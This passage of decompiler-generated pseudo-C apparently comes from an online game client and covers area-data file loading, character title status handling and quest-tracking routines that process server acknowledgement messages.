*)&result->Name.n8_name[16] && *(_DWORD *)&Name->n8_name[20] == *(_DWORD *)&result->Name.n8_name[20] && *(_DWORD *)&Name->n8_name[24] == *(_DWORD *)&result->Name.n8_name[24] && *(_DWORD *)&Name->n8_name[28] == *(_DWORD *)&result->Name.n8_name[28] ) return result; ++v3; ++v4; } while ( v3 < v2 ); } return 0; } //----- (005F1630) -------------------------------------------------------- void __thiscall AreaInfoData::RemoveAll(AreaInfoData *this) { void **v1; // esi@1 signed int v2; // edi@1 this->m_uiTotalDataCnt = 0; v1 = (void **)this->m_pData; v2 = 256; do { if ( *v1 ) operator delete(*v1); *v1 = 0; ++v1; --v2; } while ( v2 ); } //----- (005F1670) -------------------------------------------------------- void __thiscall AreaInfoData::_AreaInfoData(AreaInfoData *this) { this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; AreaInfoData::RemoveAll(this); } // 689568: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (005F1680) -------------------------------------------------------- bool __thiscall AreaInfoData::Load(AreaInfoData *this, const char *szFileName) { AreaInfoData *v2; // esi@1 _iobuf *v3; // ebx@1 bool result; // al@2 bool v5; // zf@3 int v6; // ebp@4 void *v7; // eax@7 void *v8; // esi@8 int v9; // ecx@10 void *v10; // eax@12 void *v11; // esi@13 int v12; // eax@15 void *v13; // esi@15 bool v14; // cf@16 int nAreaType; // [sp+Ch] [bp-50h]@1 unsigned int i; // [sp+10h] [bp-4Ch]@3 unsigned int *v17; // [sp+14h] [bp-48h]@3 char Name[4]; // [sp+18h] [bp-44h]@6 int v19; // [sp+1Ch] [bp-40h]@6 int v20; // [sp+20h] [bp-3Ch]@6 int v21; // [sp+24h] [bp-38h]@6 int v22; // [sp+28h] [bp-34h]@6 int v23; // [sp+2Ch] [bp-30h]@6 int v24; // [sp+30h] [bp-2Ch]@6 int v25; // [sp+34h] [bp-28h]@6 char szName[32]; // [sp+38h] [bp-24h]@6 unsigned int v27; // [sp+58h] [bp-4h]@1 v27 = (unsigned int)&nAreaType ^ __security_cookie; v2 = this; v3 = fopen(szFileName, "rb"); if ( v3 ) { AreaInfoData::RemoveAll(v2); v17 = &v2->m_uiTotalDataCnt; fread(&v2->m_uiTotalDataCnt, 4u, 1u, v3); v5 = v2->m_uiTotalDataCnt == 0; i = 0; if ( !v5 ) { v6 = (int)v2->m_pData; do { if ( i >= 0x100 ) break; v25 = 0; v24 = 0; v23 = 0; v22 = 0; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)Name = 0; fread(szName, 1u, 0x20u, v3); v25 = 0; v24 = 0; v23 = 0; v22 = 0; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)Name = 0; strncpy(Name, szName, 0x20u); fread(&nAreaType, 4u, 1u, v3); if ( nAreaType ) { if ( nAreaType == 1 ) { v10 = operator new(0x3Cu); if ( v10 ) { *((_DWORD *)v10 + 8) = 0; *((_DWORD *)v10 + 7) = 0; *((_DWORD *)v10 + 6) = 0; *((_DWORD *)v10 + 5) = 0; *((_DWORD *)v10 + 4) = 0; *((_DWORD *)v10 + 3) = 0; *((_DWORD *)v10 + 2) = 0; *((_DWORD *)v10 + 1) = 0; *(_DWORD *)v10 = AreaInfoData::AE_Square::_vftable_; v11 = v10; } else { v11 = 0; } v12 = *(_DWORD *)Name; *(_DWORD *)v6 = v11; *((_DWORD *)v11 + 1) = v12; *((_DWORD *)v11 + 2) = v19; *((_DWORD *)v11 + 3) = v20; *((_DWORD *)v11 + 4) = v21; *((_DWORD *)v11 + 5) = v22; *((_DWORD *)v11 + 6) = v23; *((_DWORD *)v11 + 7) = v24; *((_DWORD *)v11 + 8) = v25; *((_DWORD *)v11 + 9) = nAreaType; fread((char *)v11 + 40, 4u, 1u, v3); fread((char *)v11 + 44, 4u, 1u, v3); fread((char *)v11 + 48, 4u, 1u, v3); fread((char *)v11 + 52, 4u, 1u, v3); v13 = (char *)v11 + 56; fread(v13, 4u, 1u, v3); *(float *)v13 = atan2(1.0, 1.0) * 4.0 * *(float *)v13 * 0.0055555557; } } else { v7 = operator new(0x34u); if ( v7 ) { *((_DWORD *)v7 + 8) = 0; *((_DWORD *)v7 + 7) = 0; *((_DWORD *)v7 + 6) = 0; *((_DWORD *)v7 + 5) = 0; *((_DWORD *)v7 + 4) = 0; *((_DWORD *)v7 + 3) = 0; *((_DWORD *)v7 + 2) = 0; *((_DWORD *)v7 + 1) = 0; *(_DWORD *)v7 = &AreaInfoData::AE_Circle::_vftable_; v8 = v7; } else { v8 = 0; } v9 = *(_DWORD *)Name; *(_DWORD *)v6 = v8; *((_DWORD *)v8 + 1) = v9; *((_DWORD *)v8 + 2) = v19; *((_DWORD *)v8 + 3) = v20; *((_DWORD *)v8 + 4) = v21; *((_DWORD *)v8 + 5) = v22; *((_DWORD *)v8 + 6) = v23; *((_DWORD *)v8 + 7) = v24; *((_DWORD *)v8 + 8) = v25; *((_DWORD *)v8 + 9) = nAreaType; fread((char *)v8 + 40, 4u, 1u, v3); fread((char *)v8 + 44, 4u, 1u, v3); fread((char *)v8 + 48, 4u, 1u, v3); } v6 += 4; v14 = i++ + 1 < *v17; } while ( v14 ); } fclose(v3); result = 1; } else { result = 0; } return result; } // 68956C: using guessed type int (__stdcall *AreaInfoData__AE_Square___vftable_[2])(float fX, float fCos); // 689570: using guessed type int (__stdcall *AreaInfoData__AE_Circle___vftable_)(float fX, float fY); //----- (005F1950) -------------------------------------------------------- void *__thiscall AreaInfoData::_vector_deleting_destructor_(AreaInfoData *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; AreaInfoData::RemoveAll(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 689568: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (005F1990) -------------------------------------------------------- CHARACTER_TITLE_DATA *__thiscall CCharacterTitleData::GetGroupData(CCharacterTitleData *this, char Type) { CDataReader::HEAD *v2; // eax@1 CHARACTER_TITLE_DATA *result; // eax@3 v2 = this->m_CharacterTitleData.m_pHead; if ( v2 && (unsigned __int8)Type < v2->nNumOfRecord ) result = (CHARACTER_TITLE_DATA *)CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type); else result = 0; return result; } //----- (005F19C0) -------------------------------------------------------- const char *__thiscall CCharacterTitleData::GetTitleString(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 const char *result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = (char *)v4 + 12; break; case 1: result = (char *)v4 + 52; break; case 2: result = (char *)v4 + 92; break; case 3: result = (char *)v4 + 132; break; default: goto LABEL_9; } } else { LABEL_9: result = &szCTNull; } return result; } //----- (005F1A20) -------------------------------------------------------- unsigned int __thiscall CCharacterTitleData::GetTitleValue(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 unsigned int result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = *((_DWORD *)v4 + 11); break; case 1: result = *((_DWORD *)v4 + 21); break; case 2: result = *((_DWORD *)v4 + 31); break; case 3: result = *((_DWORD *)v4 + 41); break; default: goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (005F1A80) -------------------------------------------------------- unsigned int __thiscall CCharacterTitleData::GetTitleFame(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 unsigned int result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = *((_DWORD *)v4 + 12); break; case 1: result = *((_DWORD *)v4 + 22); break; case 2: result = *((_DWORD *)v4 + 32); break; case 3: result = *((_DWORD *)v4 + 42); break; default: goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (005F1AF0) -------------------------------------------------------- int __thiscall CCharacterTitleData::IsTitlePermit(CCharacterTitleData *this, char Type) { CDataReader::HEAD *v2; // eax@1 void *v3; // eax@3 int result; // eax@4 v2 = this->m_CharacterTitleData.m_pHead; if ( v2 && (unsigned __int8)Type < v2->nNumOfRecord && (v3 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) result = *((_DWORD *)v3 + 1) == 0; else result = 0; return result; } //----- (005F1B30) -------------------------------------------------------- int __thiscall CCharacterTitleData::IsTitleRefresh(CCharacterTitleData *this, char Type) { CDataReader::HEAD *v2; // eax@1 void *v3; // eax@3 int result; // eax@4 v2 = this->m_CharacterTitleData.m_pHead; if ( v2 && (unsigned __int8)Type < v2->nNumOfRecord && (v3 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) result = *((_DWORD *)v3 + 2) == 0; else result = 0; return result; } //----- (005F1B70) -------------------------------------------------------- CT_TITLE *__thiscall CCharacterTitle::GetGroupTitle(CCharacterTitle *this, char Type) { CT_TITLE *result; // eax@2 if ( (unsigned __int8)Type < 0x3Du ) result = &this->m_Titles[(unsigned __int8)Type]; else result = 0; return result; } //----- (005F1B90) -------------------------------------------------------- CT_ELEMENT_VALUE __thiscall CCharacterTitle::GetTitleStatus(CCharacterTitle *this, char Type, char ElementNo) { char *v3; // eax@2 CT_ELEMENT_VALUE result; // eax@4 if ( (unsigned __int8)Type >= 0x3Du || (v3 = (char *)&this->m_Titles[(unsigned __int8)Type], (CCharacterTitle *)((char *)this + (unsigned __int8)Type) == (CCharacterTitle *)-4) ) { LABEL_8: result = 0; } else { switch ( ElementNo ) { case 0: result = *v3 & 3; break; case 1: result = ((unsigned int)(unsigned __int8)*v3 >> 2) & 3; break; case 2: result = ((unsigned int)(unsigned __int8)*v3 >> 4) & 3; break; case 3: result = (unsigned int)(unsigned __int8)*v3 >> 6; break; default: goto LABEL_8; } } return result; } //----- (005F1C00) -------------------------------------------------------- int __thiscall CCharacterTitle::IsUsableTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID) { JUMPOUT(Type, 0, DllMain); JUMPOUT(Type, 10, DllMain); return (signed int)CCharacterTitle::GetTitleStatus(this, Type, ElementNo) >= 2; } // 5F1C24: using guessed type int __stdcall DllMain(int, int, int); //----- (005F1C30) -------------------------------------------------------- int __thiscall CCharacterTitle::AddView(CCharacterTitle *this, char Type, char ElementNo) { int v3; // edi@1 int v4; // esi@1 char *v5; // eax@2 int result; // eax@6 v3 = this->m_NumOfView; v4 = 0; if ( v3 <= 0 ) { LABEL_6: this->m_ViewArray[v3].Type = Type; this->m_ViewArray[this->m_NumOfView++].ElementNo = ElementNo; result = 1; } else { v5 = &this->m_ViewArray[0].ElementNo; while ( *(v5 - 1) != Type || *v5 != ElementNo ) { ++v4; v5 += 2; if ( v4 >= this->m_NumOfView ) goto LABEL_6; } result = 0; } return result; } //----- (005F1C90) -------------------------------------------------------- int __thiscall CCharacterTitle::SetCurrentTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID, const char *pSpecialTitle) { char v5; // dl@1 CCharacterTitle *v6; // esi@1 int result; // eax@3 const char *v8; // eax@4 v5 = Type; v6 = this; if ( !Type || Type == 10 || (result = (signed int)CCharacterTitle::GetTitleStatus(this, Type, ElementNo) >= 2) != 0 ) { v6->m_CurrentTitleMobID = MobID; v8 = pSpecialTitle; v6->m_CurrentTitle = v5; v6->m_CurrentTitleElement = ElementNo; if ( !pSpecialTitle ) { if ( !v5 ) { v6->m_pTitle = szCTNone; return 1; } v8 = CCharacterTitleData::GetTitleString(v6->m_pCharacterTitleData, v5, ElementNo); } v6->m_pTitle = v8; result = 1; } return result; } //----- (005F1D10) -------------------------------------------------------- void __thiscall CCharacterTitle::Clear(CCharacterTitle *this) { memset(this->m_Titles, 0, 0x3Cu); this->m_Titles[60]._bf0 = 0; this->m_CurrentTitle = 0; this->m_CurrentTitleElement = 0; this->m_CurrentTitleMobID = -1; this->m_pTitle = szCTNone; this->m_NumOfView = 0; } //----- (005F1D50) -------------------------------------------------------- unsigned int __thiscall CCharacterTitle::GetMyTitleCount(CCharacterTitle *this) { unsigned int v1; // ebp@1 signed int v2; // ebx@1 signed int v3; // eax@3 char *v4; // edx@5 signed int v5; // edx@7 v1 = 0; v2 = 0; do { if ( v2 == 10 ) { v1 += 4; } else { v3 = 0; do { if ( (unsigned __int8)v2 < 0x3Du ) { v4 = (char *)&this->m_Titles[(unsigned __int8)v2]; if ( (CCharacterTitle *)((char *)this + (unsigned __int8)v2) != (CCharacterTitle *)-4 ) { switch ( (unsigned __int8)v3 ) { case 0u: v5 = *v4 & 3; goto LABEL_11; case 1u: v5 = ((unsigned int)(unsigned __int8)*v4 >> 2) & 3; goto LABEL_11; case 2u: v5 = ((unsigned int)(unsigned __int8)*v4 >> 4) & 3; goto LABEL_11; case 3u: v5 = (unsigned int)(unsigned __int8)*v4 >> 6; LABEL_11: if ( v5 >= 1 ) ++v1; break; default: break; } } } ++v3; } while ( v3 < 4 ); } ++v2; } while ( v2 < 61 ); return v1; } //----- (005F1DE0) -------------------------------------------------------- int __thiscall CCharacterTitle::SetTitleStatus(CCharacterTitle *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue) { char *v4; // eax@2 int result; // eax@3 if ( (unsigned __int8)Type < 0x3Du && (v4 = (char *)&this->m_Titles[(unsigned __int8)Type], (CCharacterTitle *)((char *)this + (unsigned __int8)Type) != (CCharacterTitle *)-4) ) { switch ( ElementNo ) { case 0: *v4 ^= (ElementValue ^ *v4) & 3; goto LABEL_9; case 1: *v4 ^= (*v4 ^ 4 * ElementValue) & 0xC; goto LABEL_9; case 2: *v4 ^= (*v4 ^ 16 * ElementValue) & 0x30; goto LABEL_9; case 3: *v4 = ((_BYTE)ElementValue << 6) | *v4 & 0x3F; LABEL_9: CCharacterTitle::AddView(this, Type, ElementNo); result = 1; break; default: result = 0; break; } } else { result = 0; } return result; } //----- (005F1E90) -------------------------------------------------------- void __thiscall CCharacterTitle::CCharacterTitle(CCharacterTitle *this, CCharacterTitleData *pCharacterTitleData) { this->m_pCharacterTitleData = pCharacterTitleData; memset(this->m_Titles, 0, 0x3Cu); this->m_Titles[60]._bf0 = 0; this->m_CurrentTitle = 0; this->m_CurrentTitleElement = 0; this->m_NumOfView = 0; this->m_CurrentTitleMobID = -1; this->m_pTitle = szCTNone; } //----- (005F1ED0) -------------------------------------------------------- void __thiscall CQuest::_CQuest(CQuest *this) { CQuest *v1; // esi@1 void *v2; // eax@1 void *v3; // eax@3 v1 = this; v2 = this->m_pQuestArray; this->vfptr = (CQuestVtbl *)&CQuest::_vftable_; if ( v2 ) { free(v2); v1->m_pQuestArray = 0; } v3 = v1->m_pQuestListWithNPC; v1->m_NumOfQuestBF = 0; v1->m_NumOfQuest = 0; if ( v3 ) operator delete__(v3); v1->m_MaxOfQuestListWithNPC = 0; v1->m_NumOfQuestListWithNPC = 0; } // 689578: using guessed type int (__stdcall *CQuest___vftable_)(int itm); //----- (005F1F10) -------------------------------------------------------- int __thiscall CQuest::InitQuestBF(CQuest *this, int NumOfQuest) { CQuest *v2; // esi@1 unsigned int v3; // ebx@6 void *v4; // edi@6 int result; // eax@6 int v6; // edi@7 int i; // ecx@7 v2 = this; if ( this->m_NumOfQuestBF < NumOfQuest ) { if ( this->m_pQuestArray ) { free(this->m_pQuestArray); v2->m_pQuestArray = 0; } v2->m_NumOfQuestBF = 0; } if ( v2->m_pQuestArray ) goto LABEL_11; v3 = 32 * NumOfQuest; v4 = malloc(32 * NumOfQuest); result = 0; v2->m_pQuestArray = (PLAYER_QUEST_INFO *)v4; if ( v4 ) { memset(v4, 0, 4 * (v3 >> 2)); v6 = (int)((char *)v4 + 4 * (v3 >> 2)); for ( i = 0; i; --i ) *(_BYTE *)v6++ = 0; v2->m_NumOfQuestBF = NumOfQuest; LABEL_11: result = v2->m_pQuestArray != 0; } v2->m_NumOfQuest = 0; return result; } //----- (005F1F90) -------------------------------------------------------- void __thiscall CQuest::ClearQuest(CQuest *this) { this->m_NumOfQuest = 0; this->m_ProcessedTime = time(0); } //----- (005F1FB0) -------------------------------------------------------- PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfo(CQuest *this, unsigned __int16 nID) { int v2; // edx@2 int v3; // eax@2 PLAYER_QUEST_INFO *v4; // esi@3 PLAYER_QUEST_INFO *v5; // ecx@3 PLAYER_QUEST_INFO *result; // eax@6 if ( !this->m_NumOfQuestBF || (v2 = this->m_NumOfQuest, v3 = 0, v2 <= 0) ) goto LABEL_12; v4 = this->m_pQuestArray; v5 = this->m_pQuestArray; while ( v5->ID != nID ) { ++v3; ++v5; if ( v3 >= v2 ) return 0; } if ( v3 != -1 ) result = &v4[v3]; else LABEL_12: result = 0; return result; } //----- (005F2000) -------------------------------------------------------- PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfoByIndex(CQuest *this, int nIndex) { PLAYER_QUEST_INFO *result; // eax@2 if ( nIndex < this->m_NumOfQuest ) result = &this->m_pQuestArray[nIndex]; else result = 0; return result; } //----- (005F2020) -------------------------------------------------------- int __thiscall CQuest::AddQuestInfo(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { CQuest *v2; // ebx@1 void *v3; // eax@1 int result; // eax@2 int v5; // edi@3 v2 = this; v3 = CQuest::GetQuestInfo(this, pQuestInfo->ID); if ( v3 ) { memcpy(v3, pQuestInfo, 0x20u); result = 1; } else { v5 = v2->m_NumOfQuest; if ( v5 < v2->m_NumOfQuestBF ) { memcpy(&v2->m_pQuestArray[v5], pQuestInfo, sizeof(v2->m_pQuestArray[v5])); ++v2->m_NumOfQuest; result = 1; } else { result = 0; } } return result; } //----- (005F2080) -------------------------------------------------------- void __thiscall CQuest::SetQuestInfoClearRepeat(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { if ( pQuestInfo ) { pQuestInfo->Data.ProgressStep = 0; *(_DWORD *)&pQuestInfo->Data.End_NPCMobCount[0] = 0; pQuestInfo->Data.End_NPCMobCount[4] = 0; pQuestInfo->Data._bf26 &= 0xFCu; pQuestInfo->Data.End_RunningTimeSec = 0; } } //----- (005F20B0) -------------------------------------------------------- void __thiscall CQuest::SetQuestClear(CQuest *this, unsigned __int16 nID) { CQuest *v2; // edx@1 int v3; // ecx@2 int v4; // eax@2 PLAYER_QUEST_INFO *v5; // esi@3 v2 = this; if ( this->m_NumOfQuestBF ) { v3 = this->m_NumOfQuest; v4 = 0; if ( v3 > 0 ) { v5 = v2->m_pQuestArray; while ( v5->ID != nID ) { ++v4; ++v5; if ( v4 >= v2->m_NumOfQuest ) return; } if ( v4 != -1 ) { memcpy(&v2->m_pQuestArray[v4], &v2->m_pQuestArray[v4 + 1], 32 * (v3 - v4 - 1)); --v2->m_NumOfQuest; } } } } //----- (005F2120) -------------------------------------------------------- int __thiscall CQuest::SetQuestAccept(CQuest *this, unsigned __int16 nID) { CQuest *v2; // ebx@1 CQuestData *v3; // ecx@1 PLAYER_QUEST_INFO *v4; // eax@2 __int64 v6; // qax@6 void *v7; // edi@6 unsigned __int16 QuestInfo; // [sp+8h] [bp-24h]@1 char v9; // [sp+Ah] [bp-22h]@6 __int64 v10; // [sp+Bh] [bp-21h]@6 int v11; // [sp+13h] [bp-19h]@6 int v12; // [sp+17h] [bp-15h]@6 int v13; // [sp+1Bh] [bp-11h]@6 int v14; // [sp+1Fh] [bp-Dh]@6 int v15; // [sp+23h] [bp-9h]@6 char v16; // [sp+27h] [bp-5h]@6 unsigned int v17; // [sp+28h] [bp-4h]@1 v2 = this; v3 = this->m_pQuestData; v17 = (unsigned int)&QuestInfo ^ __security_cookie; if ( !CQuestData::GetQuestData(v3, nID) ) return 0; v4 = CQuest::GetQuestInfo(v2, nID); if ( !v4 ) { if ( v2->m_NumOfQuest < v2->m_NumOfQuestBF ) { v10 = 0i64; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; QuestInfo = nID; v9 = 6; v16 = 0; v6 = _time64(0); v7 = &v2->m_pQuestArray[v2->m_NumOfQuest]; v10 = v6; memcpy(v7, &QuestInfo, 0x20u); ++v2->m_NumOfQuest; return 1; } return 0; } v4->Status = 6; v4->Data.ProgressStep = 0; *(_DWORD *)&v4->Data.End_NPCMobCount[0] = 0; v4->Data.End_NPCMobCount[4] = 0; v4->Data._bf26 &= 0xFCu; v4->Data.End_RunningTimeSec = 0; return 1; } //----- (005F2200) -------------------------------------------------------- int __thiscall CQuest::SetQuestCancel(CQuest *this, unsigned __int16 nID) { CQuest *v2; // edi@1 PLAYER_QUEST_INFO *v3; // esi@1 QUEST_DATA *v4; // eax@1 int result; // eax@4 v2 = this; v3 = CQuest::GetQuestInfo(this, nID); v4 = CQuestData::GetQuestData(v2->m_pQuestData, nID); if ( v3 && v4 ) { if ( v4->Repeatable ) { v3->Status = 4; v3->Data.ProgressStep = 0; *(_DWORD *)&v3->Data.End_NPCMobCount[0] = 0; v3->Data.End_NPCMobCount[4] = 0; v3->Data._bf26 &= 0xFCu; v3->Data.End_RunningTimeSec = 0; result = 1; } else { CQuest::SetQuestClear(v2, nID); result = 1; } } else { result = 0; } return result; } //----- (005F2270) -------------------------------------------------------- int __thiscall CQuest::SetQuestProgress(CQuest *this, unsigned __int16 nID, char ProgressStep) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 23) = ProgressStep; result = 1; } return result; } //----- (005F2290) -------------------------------------------------------- int __thiscall CQuest::SetQuestFailed(CQuest *this, unsigned __int16 nID) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 2) = 7; result = 1; } return result; } //----- (005F22B0) -------------------------------------------------------- int __thiscall CQuest::SetQuestDone(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { int result; // eax@1 CQuest *v3; // ebx@1 int v4; // edi@2 __int64 v5; // qax@3 result = 0; v3 = this; if ( pQuestInfo ) { result = (int)CQuestData::GetQuestData(this->m_pQuestData, pQuestInfo->ID); v4 = result; if ( result ) { pQuestInfo->Status = 2 * (*(_BYTE *)(result + 12) != 0) + 2; v5 = _time64(0); HIDWORD(pQuestInfo->Data.EndTime) = HIDWORD(v5); HIDWORD(v5) = pQuestInfo->Data.RepeatCount + 1; LODWORD(pQuestInfo->Data.EndTime) = v5; pQuestInfo->Data.RepeatCount = HIDWORD(v5); v3->vfptr->Occure_Quest_Done(v3, pQuestInfo, (QUEST_DATA *)v4); result = 1; } } return result; } //----- (005F2320) -------------------------------------------------------- int __thiscall CQuest::SetQuestAbort(CQuest *this, unsigned __int16 nID) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 2) = 1; result = 1; } return result; } //----- (005F2340) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DOING_CMD *pQuestPlayerDoingData) { PROTO_NC_CHAR_QUEST_DOING_CMD *v2; // esi@1 CQuest *v3; // ebx@1 unsigned __int8 v4; // al@3 int v5; // edx@4 const void *v6; // esi@4 int v7; // eax@5 PLAYER_QUEST_INFO *v8; // ecx@6 int v9; // edi@9 signed int v10; // eax@10 void *v11; // eax@12 unsigned __int8 i; // [sp+Bh] [bp-5h]@3 int bFailed; // [sp+Ch] [bp-4h]@3 v2 = pQuestPlayerDoingData; v3 = this; if ( pQuestPlayerDoingData->bNeedClear ) { this->m_NumOfQuest = 0; this->m_ProcessedTime = time(0); } v4 = 0; bFailed = 0; i = 0; if ( pQuestPlayerDoingData->nNumOfDoingQuest ) { while ( 1 ) { v5 = v3->m_NumOfQuestBF; v6 = (char *)&v2[1] + 32 * v4; if ( v5 ) { v7 = 0; if ( v3->m_NumOfQuest > 0 ) { v8 = v3->m_pQuestArray; while ( v8->ID != *(_WORD *)v6 ) { ++v7; ++v8; if ( v7 >= v3->m_NumOfQuest ) goto LABEL_9; } if ( v7 != -1 ) { v11 = &v3->m_pQuestArray[v7]; if ( v11 ) break; } } } LABEL_9: v9 = v3->m_NumOfQuest; if ( v9 < v5 ) { memcpy(&v3->m_pQuestArray[v9], v6, sizeof(v3->m_pQuestArray[v9])); ++v3->m_NumOfQuest; goto LABEL_15; } v10 = 0; LABEL_16: bFailed |= v10 == 0; v2 = pQuestPlayerDoingData; v4 = i++ + 1; if ( i >= pQuestPlayerDoingData->nNumOfDoingQuest ) return bFailed == 0; } memcpy(v11, v6, 0x20u); LABEL_15: v10 = 1; goto LABEL_16; } return bFailed == 0; } //----- (005F2430) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DONE_CMD *pQuestPlayerDoneData) { PROTO_NC_CHAR_QUEST_DONE_CMD *v2; // eax@1 int v3; // ebp@1 bool v4; // zf@1 CQuest *v5; // edx@1 int v6; // esi@2 __int16 v7; // di@2 int v8; // eax@3 PLAYER_QUEST_INFO *v9; // ecx@4 int v10; // edi@7 signed int v11; // eax@8 void *v12; // eax@10 bool v13; // cf@14 int bFailed; // [sp+4h] [bp-28h]@1 __int16 PlayerQuestInfo; // [sp+8h] [bp-24h]@2 char v17; // [sp+Ah] [bp-22h]@1 unsigned int v18; // [sp+28h] [bp-4h]@1 v18 = (unsigned int)&bFailed ^ __security_cookie; v2 = pQuestPlayerDoneData; v3 = 0; v4 = pQuestPlayerDoneData->nNumOfDoneQuest == 0; v5 = this; bFailed = 0; v17 = 2; if ( !v4 ) { while ( 1 ) { v6 = v5->m_NumOfQuestBF; v7 = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); PlayerQuestInfo = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); if ( v6 ) { v8 = 0; if ( v5->m_NumOfQuest > 0 ) { v9 = v5->m_pQuestArray; while ( v9->ID != v7 ) { ++v8; ++v9; if ( v8 >= v5->m_NumOfQuest ) goto LABEL_7; } if ( v8 != -1 ) { v12 = &v5->m_pQuestArray[v8]; if ( v12 ) break; } } } LABEL_7: v10 = v5->m_NumOfQuest; if ( v10 < v6 ) { memcpy(&v5->m_pQuestArray[v10], &PlayerQuestInfo, sizeof(v5->m_pQuestArray[v10])); ++v5->m_NumOfQuest; goto LABEL_13; } v11 = 0; LABEL_14: v4 = v11 == 0; v2 = pQuestPlayerDoneData; ++v3; v13 = (unsigned __int16)v3 < pQuestPlayerDoneData->nNumOfDoneQuest; bFailed |= v4; if ( !v13 ) return bFailed == 0; } memcpy(v12, &PlayerQuestInfo, 0x20u); LABEL_13: v11 = 1; goto LABEL_14; } return bFailed == 0; } //----- (005F2520) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_READ_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_READ_CMD *pQuestPlayerReadData) { PROTO_NC_CHAR_QUEST_READ_CMD *v2; // eax@1 int v3; // ebp@1 bool v4; // zf@1 CQuest *v5; // edx@1 int v6; // esi@2 __int16 v7; // di@2 int v8; // eax@3 PLAYER_QUEST_INFO *v9; // ecx@4 int v10; // edi@7 signed int v11; // eax@8 void *v12; // eax@10 bool v13; // cf@14 int bFailed; // [sp+4h] [bp-28h]@1 __int16 PlayerQuestInfo; // [sp+8h] [bp-24h]@2 char v17; // [sp+Ah] [bp-22h]@1 unsigned int v18; // [sp+28h] [bp-4h]@1 v18 = (unsigned int)&bFailed ^ __security_cookie; v2 = pQuestPlayerReadData; v3 = 0; v4 = pQuestPlayerReadData->nNumOfReadQuest == 0; v5 = this; bFailed = 0; v17 = 20; if ( !v4 ) { while ( 1 ) { v6 = v5->m_NumOfQuestBF; v7 = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); PlayerQuestInfo = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); if ( v6 ) { v8 = 0; if ( v5->m_NumOfQuest > 0 ) { v9 = v5->m_pQuestArray; while ( v9->ID != v7 ) { ++v8; ++v9; if ( v8 >= v5->m_NumOfQuest ) goto LABEL_7; } if ( v8 != -1 ) { v12 = &v5->m_pQuestArray[v8]; if ( v12 ) break; } } } LABEL_7: v10 = v5->m_NumOfQuest; if ( v10 < v6 ) { memcpy(&v5->m_pQuestArray[v10], &PlayerQuestInfo, sizeof(v5->m_pQuestArray[v10])); ++v5->m_NumOfQuest; goto LABEL_13; } v11 = 0; LABEL_14: v4 = v11 == 0; v2 = pQuestPlayerReadData; ++v3; v13 = (unsigned __int16)v3 < pQuestPlayerReadData->nNumOfReadQuest; bFailed |= v4; if ( !v13 ) return bFailed == 0; } memcpy(v12, &PlayerQuestInfo, 0x20u); LABEL_13: v11 = 1; goto LABEL_14; } return bFailed == 0; } //----- (005F2610) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_REPEAT_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_REPEAT_CMD *pQuestPlayerRepeatData) { CQuest *v2; // edx@1 PROTO_NC_CHAR_QUEST_REPEAT_CMD *v3; // ecx@1 unsigned __int16 v4; // ax@1 int v5; // ebp@2 const void *v6; // esi@2 int v7; // eax@3 PLAYER_QUEST_INFO *v8; 